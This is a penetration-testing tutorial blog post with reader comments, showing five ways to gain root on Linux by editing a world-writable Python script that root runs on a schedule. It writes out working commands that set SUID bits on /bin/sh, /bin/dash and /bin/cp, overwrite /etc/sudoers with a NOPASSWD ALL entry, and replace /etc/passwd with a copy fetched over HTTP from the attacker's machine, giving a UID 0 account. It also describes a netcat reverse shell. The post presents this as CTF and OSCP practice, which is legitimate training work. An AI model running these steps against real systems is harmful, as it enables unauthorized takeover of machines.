Categories

Archives

Penetration Testing

Multiple Ways to Get root through Writable File

In Linux, everything is a file, including directories and devices that have permissions to allow or restricted three operations i.e. read/write/execute. When admin set permission for any file, he should be aware of Linux users to whom he is going to allow or restrict all three permissions.

In this article, we are going to discuss Linux privilege escalation through writable file/script. To know more about Linux system permission to read this article.

Table of content

Methods to Escalate root via writable script 

  1. Copy /bin/sh inside /tmp
  2. Set SUID bit for /bin/dash
  3. Give ALL permission to logged user through sudoers
  4. Set SUID bit for /bin/cp
  5. Malicious code for reverse connection.

Let’s start!!!

Start your attacking machine and first compromise the target system and then move to privilege escalation stage. Suppose I successfully login into victim’s machine through ssh and access non-root user terminal. Then by using the following command, we can enumerate all binaries having writable permission.

find / -writable -type  f 2>/dev/null | grep -v "/proc/"

As you can observe that it has shown a python file which is stored inside /lib/log. When we explored that path we notice permission 777 for sanitizer.py

So here the following script was added by admin to clean up all junk file from inside /tmp and these type of files depends upon specific time interval for executions.

Now if an attack identifies such types of situation in the victim’s machine then he can destroy his system by escalating root privileges in the following ways:

1st Method

 There so many methods to gain root access as in this method we copied /bin/sh inside /tmp and enabled SUID for /tmp/sh. It is quite simple, first, open the file through some editor for example nano sanitizer.pyn and replace “rm -r /tmp/*” from the following line as given below

os.system('cp /bin/sh /tmp/sh')
os.system('chmod u+s /tmp/sh')

After some time it will create a script file inside /tmp directory with SUID permission and when you will run it, you will give root access.

cd /tmp
ls
./sh
id
whoami

As you can confirm this from given below image.

2nd Method

Similarly, you can also replace “rm -r /tmp/*” from the following line as given below.

os.system('chmod u+s /bin/dash')

After some time it will set SUID permission for /bin/dash and when you will run it will give root access.

/bin/dash
id

As you can confirm this from given below image.

3rd Method

In this method, we have pasted python reverse shell connection code at the place of rm -r /tmp/* and start netcat listener in a new terminal.

And as said above after some time we got the reverse connection through netcat and root access.

nc -lvp 1234
id
whoami

As you can confirm this from given below image.

4th Method

Another most interesting method is to give sudo right to the logged users by making him sudoers file member. If you will notice below image then you can ensure that currently user: wernerbrandes may not run sudo command.

Similarly you can also replace “rm -r /tmp/*” from following line as given below.

os.system('echo "wernerbrandes ALL=(ALL) NOPASSWD: ALL" > /etc/sudoers')

And after some time, when you will type “sudo -l” command then you will notice, it becomes the member of sudo users. To take root access type “sudo bash” and enjoy the root access.

sudo -l
sudo bash
id

5th Method

As we all know how much important role play by passwd in any Linux like the system and if an attacker gets the chance to modify this file, it becomes a dynamic way of privilege escalation.

Similarly, we will try something like this BUT with help of the writable script, here by using cat command we can etc/passwd file.

Here you can observe the highlighted entry for user: nemo records, as per my guessing UID:1000 & GID:1000 indicates it would be a member of admin group.

However, we want to edit nemo record to make him a member of the root, therefore, select the whole content of etc/passwd and copy it and then paste into empty text file.

After then in a new terminal generate a salt password with help of openssl as shown and copy it.

openssl passwd -1 -salt abc 123

 

Now paste above-copied salt password at the place of “X” in the record entry of user nemo and also change previous UID&GID with 0:0 as shown in the given image. Once above said all steps are completed save the text file as “passwd” because when you will transfer this file to victim’s machine it will overwrite the content of the original passwd file.

cd Desktop
python -m SimpleHTTPServer 80

Now taking advantage of writable script replace “rm -r /tmp/*” from the following line as given below.

os.system('chmod u+s /bin/cp')

After some time it will enable SUID bit for /bin/cp to copy any file.

Now download your modified passwd file inside /tmp directory of victim’s machine. Let’s check whether SUID bit gets enabled for /bin/cp or not with help of the following command after then copy modify passwd file into /etc/passwd with help of cp command which will overwrite the content of original passwd file.

cd /tmp
wget http://192.168.1.103/passwd
ls -al /bin/cp
cp passwd /etc/passwd

Now let confirm whether we have successfully manipulated the content of passwd file or not with help of the following command.

tail /etc/passwd

Wonderful!!! You can observe the following changes has now become part of the passwd file.

Now let take root access by executing the following command:

su nemo
password 123
whoami

 So today we have demonstrated how an attacker can lead to privilege escalation through the writable file.

Author: AArti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact here

10 thoughts on “Multiple Ways to Get root through Writable File

  1. All of these method are basically the same thing. Important part is “wait for script to run”. But what if writable file was not a script? What if it was just a log file, or some other non-executable file?

  2. When I have the ability to write to a python script running as root. I can simply write on.system(‘/bin/bash’) or a reverse shell is fine. But I don’t understand the point of copying files and setting sticky bits. Is there is a specific purpose to all the methods listed above

    1. In this article we have described the various methods on Post exploitation through writable file, which could helpful while solving CTF challenges. And this article has been post on the request of other people who are preparing OSCP exam and solving Virtual labs.

    1. Sorry dear, I have no idea why First two didn’t work on RHEL7 or Ubuntu 12.04
      because we have performed this practical on ubuntu 14.04 and 16.04.

  3. I have tried your method, which, however, turns out ineffective. What prerequisite or conditions am I missing?

    1. Sorry dear, I have no idea why First two didn’t work on RHEL7 or Ubuntu 12.04
      because we have performed this practical on ubuntu 14.04 and 16.04.

Comments are closed.